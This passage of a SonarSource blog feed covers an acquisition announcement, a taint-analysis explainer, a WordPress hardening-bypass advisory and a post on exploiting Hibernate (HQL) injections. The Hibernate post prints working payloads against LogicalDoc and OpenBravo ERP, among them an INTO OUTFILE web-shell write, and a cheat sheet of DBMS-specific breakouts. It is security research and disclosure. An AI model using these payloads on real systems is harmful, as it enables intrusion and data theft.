success with it already.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This acquisition will enable us to reach our ambitious goal to empower all developers and development teams to truly own and impact the security of their codebase.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And this is the end of the short story about this acquisition. For the ones interested, here is the longer one :)&lt;/p&gt;&lt;h1&gt;What is our vision?&lt;/h1&gt;&lt;p&gt;One of the things that drives us at SonarSource is impact. And we believe that only developers can have a sustainable impact on Code Quality and Code Security. At the end of the day, they are the ones changing the code, right?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is why we made the choice to build developer-first products, i.e. products that bring value to developers, before and above anyone else. To succeed in this, we feel it is important to be deep in the analysis. We believe this is equally important that the data is accurate, shown in the right place at the right time and to the right person. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What we want to build for security is a solution that fully integrates the development process of teams, starting in the IDE up to the release process to production, and where it is possible for all stakeholders to understand the security of the code they are dealing with and to enable rapid correction. Of course, by enabling the practice to kick-off in the IDE, we are drastically reducing the work required later on in the process. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also believe that the quality of the data that we present to developers is essential for the engagement of the developer in the practice. This means of course that we should hunt false positives and false negatives, but we believe that we actually go further than simply this. We believe this is extremely important that we present the information for what it is, not trying to show off when our product can find something. For that very reason, we decided to separate what we call Security Vulnerabilities - code that requires a fix - from what we call &lt;a href=&quot;https://blog.sonarsource.com/security-hotspot-review&quot;&gt;Security Hotspots&lt;/a&gt; - code that requires a review - and to provide a process flow to do the review. That way, we make it crystal clear to developers the reason why we flag code and we believe that this will be a strong driver for adoption.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once we have this, we believe we are able to grow the existing security market far beyond Fortune1K, as we have done before with Code Quality. And I think we will be the undisputed leader of this grown market.&lt;/p&gt;&lt;h1&gt;Why does this acquisition make sense?&lt;/h1&gt;&lt;p&gt;If you managed to read until this point, I suppose you now start to understand why this acquisition makes sense. On one hand, SonarSource is a very efficient company that has 3 massively adopted products SonarQube, SonarLint and SonarCloud for Code Quality and Code Security. We entered the latter only 2 years ago and our analyzers are still young. On the other hand, RIPS technologies have developed very precise and fast security analyzers for a number of years. By combining the 2 technologies, we believe we will have a solution that supports the vision above. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also plan to create a dedicated security research team that is going to be headed by Johannes Dahse, the CEO and co-founder of RIPS Technologies. We do not only want to develop and lead this market, we also want to innovate and be the ones that show the way.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But there is more… When we started to talk to RIPS Technologies, we discovered a company that has similar values and drivers to SonarSource’s: product focused, passionate and very geeky. So we felt that they were not only complementary but also very compatible. And it looks like this is going to be a great human experience!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I am very happy that 25 RIPSlers joined the 145 SonarSourcers and that, after Geneva (Switzerland), La Roche-sur-Foron (France), Austin (Texas), we now have our 4th office in Bochum, Germany.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Olivier Gaudin&lt;br/&gt;CEO &amp;amp; Co-founder&lt;br/&gt;SonarSource&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Exploiting Hibernate Injections]]></title><description><![CDATA[Hibernate is among one of the most commonly found database libraries used in Java web applications, shipping with its own query language. This technical post will teach you how to detect and exploit Hibernates very own vulnerability: The HQL Injection.]]></description><link>https://www.sonarsource.com/blog/exploiting-hibernate-injections</link><guid isPermaLink="false">5e2b7df1-a9ef-5e36-9a77-6b933e086286</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Tue, 25 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hibernate is a database ORM framework for Java offering developers a uniform interface and syntax to interact independently with underlying relational databases like MySQL, PostgreSQL, and many more. The Hibernate Query Language is a SQL dialect very similar to a limited version of MySQL or pgSQL and it is often argued that it adds an additional layer of security.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/EwDeLAlbK-k&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Restrictions and Bypasses&lt;/h2&gt;&lt;p&gt;Data sets stored in SQL tables must be mapped to a Java class in order to be selected through HQL. Therefore, if sensitive data is stored in a SQL table that is never mapped to an entity class representing the data &lt;em&gt;it cannot be accessed within HQL&lt;/em&gt;. Of course, usually, the data that is &lt;em&gt;created and manipulated&lt;/em&gt; by the application is accessible through an HQL Injection within that application, including usernames and password hashes of the web application administrator.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Hibernates syntax will prevent the usage of DBMS specific syntax which may be critical for an adversary like MySQL’s &lt;code&gt;SELECT ... INTO OUTFILE&lt;/code&gt; allowing (when granted MySQL’s FILE permissions) to spawn a backdoor prone to an unauthenticated Remote Code Execution vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since &lt;a href=&quot;https://twitter.com/_m0bius&quot;&gt;_m0bius’&lt;/a&gt; talk &lt;a href=&quot;https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf&quot;&gt;HQL: Hyperinsane Query Language&lt;/a&gt; at SSTIC 2015 it is known, that an attacker can break out of the HQL syntax exploiting specific DBMS functions and the translation of HQL into SQL which is a default task performed for each query. We have tested most of these escapes and have confirmed for the latest Hibernate ORM 5 version that these exploits still work &lt;em&gt;today&lt;/em&gt; and we have created a quick cheat sheet table at the bottom for quick reference.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following section, we will inspect &lt;strong&gt;real world HQL Injection vulnerabilities&lt;/strong&gt; which were detected with static code analysis.&lt;/p&gt;&lt;h2&gt;LogicalDoc PreAuth HQLi 8.3.2&lt;/h2&gt;&lt;p&gt;This vulnerability is a very intrinsic Hibernate Injection we have found in LogicalDoc. At first glance, it may look like it was correctly sanitized:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;com/logicaldoc/core/security/dao/HibernateTenantDAO.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;39    public Tenant findByName(String name) {
40        Tenant tenant = null;
41        Collection coll = this.findByWhere(&quot;_entity.name = &apos;&quot; + 
42            SqlUtil.doubleQuotes(name) + &quot;&apos;&quot;, (String)null, (Integer)null);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, an attacker is controlling the &lt;code&gt;name&lt;/code&gt; argument of the &lt;code&gt;findByName()&lt;/code&gt; method which is first processed by the &lt;code&gt;StringUtil.doubleQuotes()&lt;/code&gt; function and the result is then embedded into an HQL query. This function was designed to sanitize the incoming data, preparing it for HQL.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;com/logicaldoc/util/sql/SqlUtil.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;12    public static String doubleQuotes(String input) {
13        return input.replaceAll(&quot;&apos;&quot;, &quot;&apos;&apos;&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When taking a closer look at the function one could argue that the method is correctly sanitizing the data as doubling a single quote will prevent HQL from ending the string context in which the data will be embedded. However when considering that LogicalDoc uses MySQL as the default database and observing the breakout cheat sheet from below, one can deduce that this code snippet allows breaking out of the HQL context by prepending a single quote with a simple backslash character:&lt;code&gt; abc\&amp;#x27; or 1=sleep(2) -- x&lt;/code&gt;. We figured that the vulnerable method &lt;code&gt;findByName()&lt;/code&gt; was used unauthenticated in a GWT RPC call on the front login so we only had to embed our payload there:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;7|0|8|http://192.168.56.101:8080/login/|A6445F1FD5BBF4A99039840F89E3F56B|
com.logicaldoc.gui.common.client.services.InfoService|getInfo|java.lang.String/
2004016611|Z|en_US|defau\u005c\u0027 or 1=sleep(2) -- x|1|2|3|4|3|5|5|6|7|8|1|&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This time the underlying database is MySQL and to further escalate this vulnerability into a Remote Code Execution, the database user needs to be granted the FILE permissions and MySQL should not be run with the &lt;code&gt;secure_file_priv&lt;/code&gt; variable set. If these conditions are met, it will allow us to escape from the HQL query, inject into the SQL syntax, and spawn a shell with MySQLs &lt;code&gt;SELECT ... INTO OUTFILE&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;100 or 6&lt;&gt;&apos;\&apos;&apos; ) or 1=? into outfile &quot;shell.jsp&quot; -- - &apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although this payload looks like a harmless string for HQL it will instruct MySQL to dump all the contents of the query results into the file &lt;code&gt;shell.jsp&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;OpenBravo ERP&lt;/h2&gt;&lt;p&gt;The following code snippets shows a HQL Injection in OpenBravo ERP 3.0 19Q.3 which is an ERP platform deployed by large retailers.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Openbravo-3.0PR19Q3/src/org/openbravo/service/rest/DalWebService.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;72    public class DalWebService implements WebService {
73    /*...*/
74    public void doGet(String path, HttpServletRequest request, 
75            HttpServletResponse response) throws Exception {
76        /*...*/
77        final String where = request.getParameter(PARAMETER_WHERE);
78        final String orderBy = request.getParameter(PARAMETER_ORDERBY);
79        /*...*/
80        whereOrderByClause += where;
81        /*...*/
82        final OBQuery&lt;BaseOBObject&gt; obq = OBDal.getInstance()
83         .createQuery(entityName, whereOrderByClause);
84        /*...*/
85        final String xmlResult = WebServiceUtil.getInstance().
86         createResultXML(&quot;&quot; + obq.count());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An authenticated user can pass a GET parameter to the URL which is received on line 77 of the &lt;code&gt;DalWebService&lt;/code&gt; class. The string is then concatenated on line 80 of the Java code and stored in the variable &lt;code&gt;whereOrderByClause&lt;/code&gt; which will be passed as the second argument to the &lt;code&gt;createQuery()&lt;/code&gt; method on line 83 which will instantiate and return an object stored in the &lt;code&gt;obq&lt;/code&gt; variable. Finally, the &lt;code&gt;count()&lt;/code&gt; method is invoked upon the object which is sketched in the following source code:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Openbravo-3.0PR19Q3/src/org/openbravo/dal/service/OBQuery.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;58    public class OBQuery&lt;E extends BaseOBObject&gt; {
59    /*...*/
60        public int count() {
61            String qryStr = &quot; &quot; + stripOrderBy(createQueryString());
62            /*...*/
63            final Query&lt;Number&gt; qry = getSession().createQuery(&quot;select count(*) &quot; +
64               FROM_SPACED + qryStr, Number.class);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The user input is embedded into the result of the &lt;code&gt;createQueryString()&lt;/code&gt; method and concatenated into a HQL query, leading to our Hibernate Injection vulnerability. The underlying database of the OpenBravo appliance was defaulted to PostgreSQL therefore we can make use of Postgre’s &lt;code&gt;pg_sleep()&lt;/code&gt; method and exploit the vulnerability per CSRF (similar as in PimCore, in SuiteCRM and in SugarCRM). In the following we will show you the attack payload that an attacker can choose to exploit this vulnerability:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;c_country_id=&apos;100&apos; and $$=&apos;$$=concat(chr(61),chr(39)) and version()||
    pg_sleep(1)=version()||pg_sleep(1) and 
        (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The highlighter chosen for this payload obeys the general HQL syntax greatly sketching how HQL parses this query. For HQL an empty string which is encapsulated by dollar signs &lt;code&gt;$$&lt;/code&gt; is compared with the equality operator against the very long string highlighted yellow at the end of the shown source code encapsulated in single quotes. This is valid HQL syntax and an HQL parser will parse the query into an abstract syntax tree (&lt;em&gt;AST&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, the AST is converted by Hibernate into a SQL query which is passed to the database. Since the very long yellow line is a valid string constant compared with a valid equality operator and a valid empty string &lt;code&gt;$$&lt;/code&gt; this whole line ends up in the PostgreSQL query directly:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;c_country_id=&apos;100&apos; and $$=&apos;$$=concat(chr(61),chr(39)) and version()||
    pg_sleep(1)=version()||pg_sleep(1) and 
        (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The highlighter chosen for this payload obeys the PostgreSQL specific syntax. It can be seen that the very long line has spilled out into the SQL query, simply because PostgreSQL prefers strings encapsulated within four dollar signs &lt;code&gt;$$=&amp;#x27;$$&lt;/code&gt; over simple strings. The additional question marks &lt;code&gt;?&lt;/code&gt; placeholders have been prepended to the comment to allow parameter binding to succeed, due to Postgres ignoring placeholders which are added after the comment leading to the error message &lt;code&gt;The column index is out of range: 1, number of columns: 0&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Keep in mind that is not mandatory to break out of the HQL syntax if you want to extract the administrators hash directly.&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;HQL Injection Cheat Sheet&lt;/h2&gt;&lt;p&gt;As a quick re-cap we have sketched out the table which you can use to break out of the Hibernate query syntax and inject into the SQL query &lt;code&gt;SELECT column FROM table WHERE id = &amp;lt;injection&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;DBMS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;SQL Injection (no quotes)&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;&apos;abc\&apos;&apos; INTO OUTFILE -- &apos;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;PostgreSQL&lt;/td&gt;&lt;td&gt;$$=&apos;$$=chr(61)||chr(0x27) and 1=pg_sleep(2)||version()&apos;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Oracle&lt;/td&gt;&lt;td&gt;NVL(TO_CHAR(DBMS_XMLGEN.getxml(&apos;select 1 where 1337&amp;gt;1&apos;)),&apos;1&apos;)!=&apos;1&apos;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;MS SQL&lt;/td&gt;&lt;td&gt;1&amp;lt;LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;The &lt;code&gt;%C2%A0&lt;/code&gt; notation represents a urlencoded unicode whitespace.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, we have seen that Hibernate does not provide a great additional layer of security. In fact, the old tricks to break out of the HQL language are still working and often do not require a lot of skill from an attacker to achieve a compromise.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is 'taint analysis' and why do I care?]]></title><description><![CDATA[In large systems, finding the bad actors is easier said than done. First you have to find all the places you accept data from users, and then you have to sanitize the data before you use it. The hard part is making sure you've found all the sources of user data and intervened before any kind of use. That's where taint analysis comes in. ]]></description><link>https://www.sonarsource.com/blog/what-is-taint-analysis</link><guid isPermaLink="false">261bb80f-d440-5502-8cab-ef58a9ddcc22</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Mon, 10 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;He covered a wet, hacking cough with his hand, then pushed through the door off the ward. I reached the same door, and hesitated. The Cougher had just tainted the door with his germs. If I touched it, I&amp;#x27;d be tainted too.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;---&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These days we all know what germs are and how they&amp;#x27;re passed from person to person, and from hand to door to hand. The fact is that particularly in cold and flu season you have to regard every doorknob, and every elevator button as suspicious. You &lt;em&gt;always&lt;/em&gt;wash your hands afterward, because you never know which doorknob is tainted with germs. You have to assume they all are.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And the same is true for the data you get from your users. Not every user is a bad actor. In fact, most aren&amp;#x27;t. But some are. Some &lt;em&gt;want&lt;/em&gt; to infect your systems - to get access to your users, their passwords, their mothers&amp;#x27; maiden names, and anything else they can sell - and they&amp;#x27;ll do anything to accomplish that. So you have to treat &lt;em&gt;every&lt;/em&gt; user&amp;#x27;s data as if contained The Plague, and sanitize accordingly. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, in large systems that&amp;#x27;s easier said than done. First you have to find all the places you accept data from users, and then you have to sanitize the data before you use it. The hard part is making sure you&amp;#x27;ve found &lt;em&gt;all&lt;/em&gt; the sources of user data and intervened before &lt;em&gt;any&lt;/em&gt; kind of use. That&amp;#x27;s where taint analysis comes in. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Taint analysis identifies &lt;em&gt;every&lt;/em&gt; source of user data - form inputs, headers, you name it - and follows each piece of data all the way through your system to make sure it gets sanitized before you do anything with it. And by &amp;quot;all the way through&amp;quot; I mean &lt;em&gt;all&lt;/em&gt; the way through. Here&amp;#x27;s a simple example from the OWASP Benchmark project, an intentionally insecure application built to test analyzers:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9e3545dc-b15f-4293-b591-1df3761cfd2d/body-1a08fe56-2df2-46b9-b433-22157ef1940f_taintAnalysis1.png&quot; /&gt;&lt;p&gt;Here, SonarQube shows us that&lt;/p&gt;&lt;ul&gt;&lt;li&gt;At line 47, data provided by the user is retrieved and assigned to the variable &amp;#x27;param&amp;#x27;. &amp;#x27;param&amp;#x27; is now tainted by user input.&lt;/li&gt;&lt;li&gt;Line 51, &amp;#x27;param&amp;#x27; gets manipulated - but not sanitized! It&amp;#x27;s still tainted.&lt;/li&gt;&lt;li&gt;Line 54, &amp;#x27;param&amp;#x27; is incorporated into the value of &amp;#x27;sql&amp;#x27;. &amp;#x27;sql&amp;#x27; is now tainted too!&lt;/li&gt;&lt;li&gt;Lines 58-59, &amp;#x27;sql&amp;#x27;, which is tainted with raw user input, is sent to the database :-(&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course, in that example, everything is contained in a single method. The problem is easy to spot... if you know what to look for… and where to look… and that you &lt;em&gt;should&lt;/em&gt;look.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So let&amp;#x27;s look at something slightly more complicated. This one&amp;#x27;s from Securibench micro, another test-the-analyzers project:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/28b24937-8fef-4fad-b217-a1c4e2d3cd91/body-5d338ae3-7ca4-4b46-a6ce-a3ea6a3b2fc8_taintAnalysis2.png&quot; /&gt;&lt;p&gt;Here, in the &amp;#x27;doGet&amp;#x27; method, user-supplied data is stored in a collection. Then in another method in a different file, it&amp;#x27;s retrieved from the collection and sent to the database. Again, without being sanitized. In the SonarQube UI this example is easy to understand because all the relevant files are shown together, with each propagation of the taint highlighted, but it would be much harder than the first example to find manually. Because if you start from the &amp;#x27;doGet&amp;#x27; method, you have to find every place the method is called from and then follow the data it returns until it&amp;#x27;s no longer &amp;quot;live&amp;quot; to make sure it&amp;#x27;s not misused. On the other hand, you could start from the other end and go backward to the source of every value sent to this &amp;quot;sink&amp;quot; (place where the data is stored/used). That might be a little cleaner, but it&amp;#x27;s no less painful.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And that&amp;#x27;s why you want taint analysis. Because it traces user-tainted data from its source to your sinks, and raises the alarm when you use that data without sanitizing it. It helps you protect your data, your users, and your reputation from hackers and &lt;a href=&quot;https://xkcd.com/327/&quot;&gt;accidents&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Taint analysis of Java, C#, PHP, and Python is free on &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; for open source projects, and available in SonarQube &lt;a href=&quot;https://www.sonarqube.org/developer-edition/&quot;&gt;commercial editions&lt;/a&gt; as part of SonarSource&amp;#x27;s larger SAST (Static Application Security Testing) offering. Later in 2020, SonarSource&amp;#x27;s SAST offering will expand to include JavaScript, TypeScript, C and C++.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress <= 5.2.3: Hardening Bypass]]></title><description><![CDATA[This blog post details an authenticated Remote Code Execution (RCE) vulnerability in the WordPress core that bypasses hardening mechanisms. The vulnerability is present in the WordPress core in versions prior to 5.2.4]]></description><link>https://www.sonarsource.com/blog/wordpress-hardening-bypass</link><guid isPermaLink="false">051d6834-75d3-51b4-a72c-d723b5d397fc</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 21 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;WordPress Hardening Mechanisms&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress per default allows users with the administrator role to install plugins and even edit the &lt;em&gt;.php&lt;/em&gt; files of plugins from within the admin dashboard. Although this allows for the easy modification of plugins and themes, it also allows malicious administrators to execute code on the underlying web server and install backdoors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the security implications of this feature are much more severe. When an attacker can find and exploit a Cross-Site Scripting vulnerability on a WordPress site, the resulting session hijacking of the administrator account directly leads to RCE on the webserver, since an attacker can simply issue AJAX requests with the privileges of a victim administrator that write malicious code to one of the PHP files located on the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an example, a &lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass/&quot;&gt;CSRF to RCE&lt;/a&gt; vulnerability in the WordPress core (CVE-2019-9787) abused this feature.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://wordpress.org/support/article/hardening-wordpress/&quot;&gt;official WordPress hardening guide&lt;/a&gt; offers site owners help to mitigate such risks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the recommended hardening mechanisms to enable is to place the following directive into the &lt;code&gt;wp-config.php&lt;/code&gt; file of the WordPress installation to be secured:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;define(&apos;DISALLOW_FILE_EDIT&apos;, true);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This directive effectively disables the ability for administrators to edit PHP code from within the admin dashboard. Additionally, the possibility of plugin and theme installation from within the dashboard can be disabled with the following directive:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;define(&apos;DISALLOW_FILE_MODS&apos;,true);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thus, if an attacker can exploit a Cross-Site Scripting vulnerability or can take control over an administrator account on a target WordPress site by other means, he is stuck within the admin dashboard and is unable to install a backdoor.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability described in this blog post is an authenticated Remote Code Execution vulnerability in the WordPress core that can be exploited even if the described hardening mechanism is in place, allowing for an effective bypass. This re-enables attackers to leverage simple Cross-Site Scripting vulnerabilities to full Remote Code Execution impact on servers. The vulnerability is present in WordPress installations prior to &lt;strong&gt;5.2.4&lt;/strong&gt;.&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability is based on a Local File Inclusion (LFI) vulnerability, which also leads to a &lt;a href=&quot;https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/&quot;&gt;low-privileged Remote Code Execution vulnerability&lt;/a&gt; in WordPress &lt;strong&gt;5.0.0&lt;/strong&gt; and prior.&lt;/p&gt;&lt;h3&gt;Background - WordPress Themes&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A WordPress theme is simply composed of templates, &lt;em&gt;.css&lt;/em&gt;, and &lt;em&gt;.js&lt;/em&gt; files within the &lt;code&gt;wp-content/themes&lt;/code&gt; directory of a WordPress installation. The template files usually follow the WordPress template scheme: The template file responsible for rendering posts is named &lt;code&gt;post.php&lt;/code&gt;. The template file for rendering an author profile is called &lt;code&gt;author.php&lt;/code&gt; and so on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a visitor then for example views a post on a WordPress blog, WordPress simply includes the &lt;code&gt;post.php&lt;/code&gt; file within the theme directory.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, WordPress blog post authors can define a custom file to be included for a certain post. The only limitation to this is that the file must be located within the theme directory. If that certain post is then rendered, WordPress calls PHP’s &lt;code&gt;include()&lt;/code&gt; on the desired template file.&lt;/p&gt;&lt;h3&gt;Including a Malicious File&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the assumption of this blog post is that the described hardening mechanism is in place it is impossible for even administrators to place malicious code into the theme file, thus the LFI vulnerability becomes non exploitable. However, administrators can, even if all hardening mechanisms are in place, change the destination upload path for media files to the local theme directory. This in turn enables administrators to simply upload a &lt;code&gt;.txt&lt;/code&gt; file containing arbitrary PHP code to the theme directory and then call &lt;code&gt;include()&lt;/code&gt; on it. The resulting Remote Code Execution can then be leveraged to install a backdoor.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/11/08&lt;/td&gt;&lt;td&gt;Vulnerability reported to the WordPress security team.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/11/08&lt;/td&gt;&lt;td&gt;WordPress triages the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/10/14&lt;/td&gt;&lt;td&gt;WordPress releases a fix in version 5.2.4.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post described what WordPress administrators can do to harden the security of their sites. The hardening mechanism described in this blog post prevents attackers from being able to leverage simple XSS flaws in plugins to Remote Code Execution impact. Although this blog post details a bypass for this hardening mechanism, it is still recommended to use them. Make sure to update your WordPress installations to &lt;strong&gt;5.2.4&lt;/strong&gt; or later to prevent the bypass.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass/&quot;&gt;WordPress Privilege Escalation through Post Types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass/&quot;&gt;WordPress Design Flaw Leads to WooCommerce RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass/&quot;&gt;WordPress File Delete to Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass/&quot;&gt;WordPress 5.0.0 Remote Code Execution &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Clean as You Code: How to win at Code Quality without even trying]]></title><description><![CDATA[Analyzing a legacy project can be overwhelming. Learn how to Clean as You Code to make sure that the code you release into production tomorrow is at least as good as - and probably better than! - the code that's in production today.]]></description><link>https://www.sonarsource.com/blog/clean-as-you-code</link><guid isPermaLink="false">eaa0416f-05ce-5e0d-ac3d-4a001d5063d2</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Mon, 20 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The first time you analyze a legacy project - and here I mean any project older than about two months - the results are usually truly overwhelming. There might be: thousands of Code Smells, hundreds of Bugs, high duplication and - depending on the age and technology of the project 